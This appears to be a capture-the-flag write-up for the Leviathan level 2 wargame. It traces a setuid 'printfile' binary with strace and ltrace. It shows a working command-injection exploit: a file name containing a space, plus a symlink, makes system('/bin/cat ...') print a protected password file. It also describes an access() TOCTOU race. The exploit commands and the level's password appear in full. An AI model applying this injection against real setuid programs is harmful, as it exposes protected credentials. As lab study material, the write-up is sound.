Level 02
Publ .
Mins 4 (825 words).
Edit .

A quick inspection portrays a puzzle very similar to the previous one. A binary file that runs with elevated permissions.
$ ./printfile
*** File Printer ***
Usage: ./printfile filename
First using /etc/leviathan_pass/leviathan3
followed by ~/.profile
. It
appears that this binary prints the contents of the given file to stdout.
Again the tools for analyzing the file are: readelf
, strace
and ltrace
.
1 - readelf
$ readelf --all check | less
Inspected the output with the same guidelines used on the previous level [1] [2]. As per my understanding of it, nothing appears to be out of place.
2 - strace
Part of the output for this command is at display below, edited for highlighting what seem to be the system calls that might point to a solution. First, the behavior when the program successfully terminates:
$ strace ./printfile .profile
...
...
ugetrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0
munmap(0xf7fb6000, 31547) = 0
###############################################
access(".profile", R_OK) = 0
geteuid32() = 12002
geteuid32() = 12002
setreuid32(12002, 12002) = 0
###############################################
rt_sigaction(SIGINT, {sa_handler=SIG_IGN, sa_mask=[], sa_flags=0}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGQUIT, {sa_handler=SIG_IGN, sa_mask=[], sa_flags=0}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
mmap2(NULL, 36864, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0) = 0xf7d78000
rt_sigprocmask(SIG_BLOCK, ~[], [CHLD], 8) = 0
clone3({flags=CLONE_VM|CLONE_VFORK, exit_signal=SIGCHLD, stack=0xf7d78000, stack_size=0x9000}, 88) = 2473892
munmap(0xf7d78000, 36864) = 0
rt_sigprocmask(SIG_SETMASK, [CHLD], NULL, 8) = 0
wait4(2473892, [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 2473892
rt_sigaction(SIGINT, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, NULL, 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2473892, si_uid=12002, si_status=0, si_utime=0, si_stime=0} ---
exit_group(0) = ?
+++ exited with 0 +++
Part of the trace when the binary does not successfully terminates:
strace ./printfile /etc/leviathan_pass/leviathan3
...
...
ugetrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0
munmap(0xf7fb6000, 31547) = 0
#############################################################################
access("/etc/leviathan_pass/leviathan3", R_OK) = -1 EACCES (Permission denied)
#############################################################################
statx(1, "", AT_STATX_SYNC_AS_STAT|AT_NO_AUTOMOUNT|AT_EMPTY_PATH, STATX_BASIC_STATS, {stx_mask=STATX_BASIC_STATS|STATX_MNT_ID, stx_attributes=0, stx_mode=S_IFCHR|0620, stx_size=0, ...}) = 0
getrandom("\x69\x7e\x77\x41", 4, GRND_NONBLOCK) = 4
brk(NULL) = 0x804d000
brk(0x806e000) = 0x806e000
brk(0x806f000) = 0x806f000
write(1, "You cant have that file...\n", 27) = 27
exit_group(1) = ?
+++ exited with 1 +++
Program execution diverges following the access()
call, depending upon the
input file. The call grants permissions for .profile
, then file permissions
are elevated. (This is the setuid
in action).
3 - ltrace
$ ltrace ./printfile .profile
bc_start_main(0x80491e6, 2, 0xffffd5e4, 0 <unfinished ...>
access(".profile", 4) = 0
snprintf("/bin/cat .profile", 511, "/bin/cat %s", ".profile") = 17
geteuid() = 12002
geteuid() = 12002
setreuid(12002, 12002) = 0
system("/bin/cat .profile" <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
$ ltrace ./printfile /etc/leviathan_pass/leviathan3
__libc_start_main(0x80491e6, 2, 0xffffd5d4, 0 <unfinished ...>
access("/etc/leviathan_pass/leviathan3", 4) = -1
puts("You cant have that file...") = 27
+++ exited (status 1) +++
Closely looking at the snprintf()
call’s arguments and thoroughly reading its
manual, builds evidence that there may be an exploitable vulnerability.
It is also possible, due to our previous analysis of the output of strace
,
that also the access()
call may be problematic.
After in-depth research, two solutions seem plausible. One is relatively easy to understand and implement whereas the other is more technically advanced and presents greater difficulty, given my available knowledge.
- Command injection
The snprintf()
call can be exploited using Code injection.
The following steps show how to perform the exploit:
$ touch /tmp/folder/link
$ touch /tmp/folder/"link andotherfile"
$ ln -sf /etc/leviathan_pass/leviathan3 /tmp/folder/link
$ ls -la /tmp/folder
total 256
drwxrwxr-x 2 leviathan2 leviathan2 4096 Feb 14 18:40 .
drwxrwx-wt 6249 root root 253952 Feb 14 18:40 ..
-rw-rw-r-- 1 leviathan2 leviathan2 0 Feb 14 18:38 link andotherfile
lrwxrwxrwx 1 leviathan2 leviathan2 30 Feb 14 18:40 link -> /etc/leviathan_pass/leviathan3
$ ./printfile "/tmp/folder/link andotherfile"
Q0G8j4sakn
/bin/cat: andotherfile: No such file or directory
Two files are created, a link file pointing to the actual file we want to read and “dummy file” used as bite.
When the binary is executed,
access()
will return0
, because of the fact that our user has permissions to read"/tmp/folder/link andotherfile"
.
Permissions are now elevated.The
snprintf()
call appends the filename to the string/bin/cat
. This is the flaw in the program.The
system()
call runs the command/bin/cat link andotherfile
, the symlink is dereferenced, and the contents of the file printed.
- Exploiting a race condition
The access()
call is prone to let run wild a known security
hole Even its manual has a
warning regarding the situation:
man 2 access
:
__Warning__: Using these calls to check if a user is authorized to, for example,
open a file before actually doing so using open(2) creates a security hole,
because the user might exploit the short time interval between checking and
opening the file to manipulate it. For this reason, the use of this system call
should be avoided.
The trick is to modify the file to be read immediately after the access()
call returns 0
elevating permissions, and exactly before the execution of
the system()
call.
See also: TOCTOU